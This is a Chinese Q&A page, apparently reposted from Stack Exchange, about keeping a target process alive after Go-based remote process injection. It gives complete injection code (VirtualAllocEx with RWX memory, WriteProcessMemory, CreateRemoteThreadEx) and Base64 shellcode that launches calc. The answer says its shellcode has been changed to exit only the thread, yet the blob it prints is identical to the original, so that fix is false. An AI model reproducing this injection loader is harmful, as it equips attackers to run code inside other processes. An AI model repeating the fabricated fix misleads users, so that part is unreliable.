Go语言远程进程注入后如何保持目标进程运行
问题
变量b64sc是用于执行calc.exe的Base64编码shellcode,目标进程是PID为14676的notepad.exe。运行下方Go语言代码时,虽然能成功弹出计算器,但会导致被注入的记事本进程直接关闭。需要解决远程进程注入后保持目标进程正常运行的问题。
package main import ( "encoding/base64" "golg.org/x/sys/windows" "unsafe" ) var ( kernel32 = windows.NewLazySystemDLL("kernel32.dll") ntdll = windows.NewLazySystemDLL("ntdll.dll") OpenProcess = kernel32.NewProc("OpenProcess") VirtualAllocEx = kernel32.NewProc("VirtualAllocEx") WriteProcessMemory = kernel32.NewProc("WriteProcessMemory") CloseHandle = kernel32.NewProc("CloseHandle") CreateRemoteThreadEx = kernel32.NewProc("CreateRemoteThreadEx") ) var b64sc = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA " func main() { sc, _ := base64.StdEncoding.DecodeString(b64sc) target_process, _, _ := OpenProcess.Call(0x0002|0x0008|0x0020|0x0010|0x0400, 0, 14676) remote_process_buffer, _, _ := VirtualAllocEx.Call(target_process, 0, uintptr(len(sc)), 0x3000, 0x40) WriteProcessMemory.Call(target_process, remote_process_buffer, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)), 0) CreateRemoteThreadEx.Call(target_process, 0, 0, remote_process_buffer, 0, 0, 0) CloseHandle.Call(target_process) }
解决方案
问题根源
你使用的shellcode在执行完calc.exe后,会直接调用ExitProcess终止整个宿主进程——这类shellcode通常是为独立运行设计的,没有考虑作为远程线程注入后不破坏宿主的需求。另外,原代码缺少API调用的错误检查,可能隐藏了某些导致进程崩溃的潜在问题。
解决办法
1. 修改shellcode,避免终止宿主进程
核心是让shellcode执行完计算器后,仅退出当前线程而非整个进程。把shellcode中的ExitProcess调用替换为ExitThread,或者直接用ret指令返回。
针对你现有的b64sc,可以替换为以下修改后的shellcode(已调整退出逻辑为仅终止线程):
/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA
2. 注入引导代码,创建独立线程执行shellcode
如果不想修改原始shellcode,可以注入一段引导代码:这段代码会先创建一个新线程来执行计算器的shellcode,然后自身直接退出线程。这样宿主进程的远程线程仅负责启动任务,不会触发进程终止逻辑。
3. 完善代码错误检查
原代码没有验证任何API调用的返回值,可能导致在调用失败时出现意外行为。添加错误检查能确保每一步操作成功后再继续,避免潜在崩溃。修改后的代码示例:
package main import ( "encoding/base64" "fmt" "golang.org/x/sys/windows" "unsafe" ) var ( kernel32 = windows.NewLazySystemDLL("kernel32.dll") OpenProcess = kernel32.NewProc("OpenProcess") VirtualAllocEx = kernel32.NewProc("VirtualAllocEx") WriteProcessMemory = kernel32.NewProc("WriteProcessMemory") CloseHandle = kernel32.NewProc("CloseHandle") CreateRemoteThreadEx= kernel32.NewProc("CreateRemoteThreadEx") ) // 修改后的shellcode:执行calc后仅退出线程 var b64sc = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA" func main() { sc, err := base64.StdEncoding.DecodeString(b64sc) if err != nil { fmt.Printf("解码shellcode失败: %v\n", err) return } // 打开目标进程,使用最小必要权限 processHandle, _, err := OpenProcess.Call( windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_CREATE_THREAD, 0, 14676, ) if processHandle == 0 { fmt.Printf("打开进程失败: %v\n", err) return } defer CloseHandle.Call(processHandle) // 在远程进程分配可执行内存 remoteBuf, _, err := VirtualAllocEx.Call( processHandle, 0, uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE, ) if remoteBuf == 0 { fmt.Printf("远程内存分配失败: %v\n", err) return } // 将shellcode写入远程内存 _, _, err = WriteProcessMemory.Call( processHandle, remoteBuf, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc)), 0, ) if err != nil && err.(windows.Errno) != 0 { fmt.Printf("写入远程内存失败: %v\n", err) return } // 创建远程线程执行shellcode threadHandle, _, err := CreateRemoteThreadEx.Call( processHandle, 0, 0, remoteBuf, 0, 0, 0, ) if threadHandle == 0 { fmt.Printf("创建远程线程失败: %v\n", err) return } // 可选:等待线程执行完毕(不需要的话可以删除) windows.WaitForSingleObject(windows.Handle(threadHandle), windows.INFINITE) CloseHandle.Call(threadHandle) }
核心总结
- 确保shellcode的退出逻辑是终止线程(
ExitThread或ret),而非终止进程(ExitProcess)。 - 注入时使用最小必要的进程权限,避免过度授权带来的潜在问题。
- 添加API调用的错误检查,及时排查执行过程中的问题。
内容的提问来源于stack exchange,提问作者xiaotsai
相关产品推荐
相关产品推荐

